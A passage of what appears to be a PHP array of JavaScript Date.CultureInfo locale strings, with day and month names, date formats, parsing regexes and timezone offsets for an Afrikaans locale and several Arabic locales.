Afrika)",dayNames:["Sondag","Maandag","Dinsdag","Woensdag","Donderdag","Vrydag","Saterdag"],abbreviatedDayNames:["Son","Maan","Dins","Woen","Dond","Vry","Sat"],shortestDayNames:["So","Ma","Di","Wo","Do","Vr","Sa"],firstLetterDayNames:["S","M","D","W","D","V","S"],monthNames:["Januarie","Februarie","Maart","April","Mei","Junie","Julie","Augustus","September","Oktober","November","Desember"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","Mei","Jun","Jul","Aug","Sep","Okt","Nov","Des"],amDesignator:"",pmDesignator:"nm",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/MM/dd",longDate:"dd MMMM yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uarie)?/i,feb:/^feb(ruarie)?/i,mar:/^maart/i,apr:/^apr(il)?/i,may:/^mei/i,jun:/^jun(ie)?/i,jul:/^jul(ie)?/i,aug:/^aug(ustus)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^des(ember)?/i,sun:/^so(n(dag)?)?/i,mon:/^ma(an(dag)?)?/i,tue:/^di(ns(dag)?)?/i,wed:/^wo(en(sdag)?)?/i,thu:/^do(nd(erdag)?)?/i,fri:/^vr(y(dag)?)?/i,sat:/^sa(t(erdag)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-AE' => 'Date.CultureInfo={name:"ar-AE",englishName:"Arabic (U.A.E.)",nativeName:"العربية (الإمارات العربية المتحدة)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^مايو/i,jun:/^يونيو/i,jul:/^يوليو/i,aug:/^اغسطس/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-BH' => 'Date.CultureInfo={name:"ar-BH",englishName:"Arabic (Bahrain)",nativeName:"العربية (البحرين)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^مايو/i,jun:/^يونيو/i,jul:/^يوليو/i,aug:/^اغسطس/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-DZ' => 'Date.CultureInfo={name:"ar-DZ",englishName:"Arabic (Algeria)",nativeName:"العربية (الجزائر)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["جانفييه","فيفرييه","مارس","أفريل","مي","جوان","جوييه","أوت","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["جانفييه","فيفرييه","مارس","أفريل","مي","جوان","جوييه","أوت","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dd MMMM, yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dd MMMM, yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^جانفييه/i,feb:/^فيفرييه/i,mar:/^مارس/i,apr:/^أفريل/i,may:/^مي/i,jun:/^جوان/i,jul:/^جوييه/i,aug:/^أوت/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-EG' => 'Date.CultureInfo={name:"ar-EG",englishName:"Arabic (Egypt)",nativeName:"العربية (مصر)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^مايو/i,jun:/^يونيو/i,jul:/^يوليو/i,aug:/^اغسطس/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-IQ' => 'Date.CultureInfo={name:"ar-IQ",englishName:"Arabic (Iraq)",nativeName:"العربية (العراق)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["كانون الثاني","شباط","آذار","نيسان","أيار","حزيران","تموز","آب","أيلول","تشرين الأول","تشرين الثاني","كانون الأول"],abbreviatedMonthNames:["كانون الثاني","شباط","آذار","نيسان","أيار","حزيران","تموز","آب","أيلول","تشرين الأول","تشرين الثاني","كانون الأول"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^كانون الثاني/i,feb:/^شباط/i,mar:/^آذار/i,apr:/^نيسان/i,may:/^أيار/i,jun:/^حزيران/i,jul:/^تموز/i,aug:/^آب/i,sep:/^أيلول/i,oct:/^تشرين الأول/i,nov:/^تشرين الثاني/i,dec:/^كانون الأول/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-JO' => 'Date.CultureInfo={name:"ar-JO",englishName:"Arabic (Jordan)",nativeName:"العربية (الأردن)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["كانون الثاني","شباط","آذار","نيسان","أيار","حزيران","تموز","آب","أيلول","تشرين الأول","تشرين الثاني","كانون الأول"],abbreviatedMonthNames:["كانون الثاني","شباط","آذار","نيسان","أيار","حزيران","تموز","آب","أيلول","تشرين الأول","تشرين الثاني","كانون الأول"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^كانون الثاني/i,feb:/^شباط/i,mar:/^آذار/i,apr:/^نيسان/i,may:/^أيار/i,jun:/^حزيران/i,jul:/^تموز/i,aug:/^آب/i,sep:/^أيلول/i,oct:/^تشرين الأول/i,nov:/^تشرين الثاني/i,dec:/^كانون الأول/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-KW' => 'Date.CultureInfo={name:"ar-KW",englishName:"Arabic (Kuwait)",nativeName:"العربية (الكويت)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^مايو/i,jun:/^يونيو/i,jul:/^يوليو/i,aug:/^اغسطس/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-LB' => 'Date.CultureInfo={name:"ar-LB",englishName:"Arabic (Lebanon)",nativeName:"العربية (لبنان)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["كانون الثاني","شباط","آذار","نيسان","أيار","حزيران","تموز","آب","أيلول","تشرين الأول","تشرين الثاني","كانون الأول"],abbreviatedMonthNames:["كانون الثاني","شباط","آذار","نيسان","أيار","حزيران","تموز","آب","أيلول","تشرين الأول","تشرين الثاني","كانون الأول"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^كانون الثاني/i,feb:/^شباط/i,mar:/^آذار/i,apr:/^نيسان/i,may:/^أيار/i,jun:/^حزيران/i,jul:/^تموز/i,aug:/^آب/i,sep:/^أيلول/i,oct:/^تشرين الأول/i,nov:/^تشرين الثاني/i,dec:/^كانون الأول/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-LY' => 'Date.CultureInfo={name:"ar-LY",englishName:"Arabic (Libya)",nativeName:"العربية (ليبيا)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^مايو/i,jun:/^يونيو/i,jul:/^يوليو/i,aug:/^اغسطس/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-MA' => 'Date.CultureInfo={name:"ar-MA",englishName:"Arabic (Morocco)",nativeName:"العربية (المملكة 